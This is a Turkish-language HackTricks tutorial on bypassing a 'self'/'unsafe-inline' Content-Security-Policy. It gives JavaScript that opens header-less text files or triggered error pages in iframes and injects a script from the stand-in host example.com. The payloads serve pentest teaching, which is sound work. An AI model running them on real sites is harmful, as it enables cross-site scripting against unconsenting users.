4.8 KiB
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Aşağıdaki gibi bir yapı:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Herhangi bir kodu bir dize olarak ileten işlevlerin kullanımını yasaklar. Örneğin: eval, setTimeout, setInterval
ayarı unsafe-eval
nedeniyle engellenecektir.
Ayrıca, dış kaynaklardan gelen herhangi bir içerik de engellenir; bu, resimler, CSS, WebSocket'ler ve özellikle JS'yi içerir.
Metin ve Resimler Üzerinden
Modern tarayıcıların, görüntüleri ve metinleri görüntüleme kalitesini artırmak için HTML'ye dönüştürdüğü gözlemlenmiştir (örneğin, arka plan ayarları, ortalama vb.). Sonuç olarak, favicon.ico
veya robots.txt
gibi bir resim veya metin dosyası bir iframe
aracılığıyla açıldığında, HTML olarak işlenir. Özellikle, bu sayfaların genellikle CSP başlıkları yoktur ve X-Frame-Options içermeyebilir, bu da onlardan rastgele JavaScript'in çalıştırılmasına olanak tanır:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Hatalar Üzerinden
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'ı atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanarak aşağıdaki eylemler gerçekleştirilebilir:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içindeki JavaScript'in çalıştırılması aşağıdaki gibi mümkündür:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Referanslar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.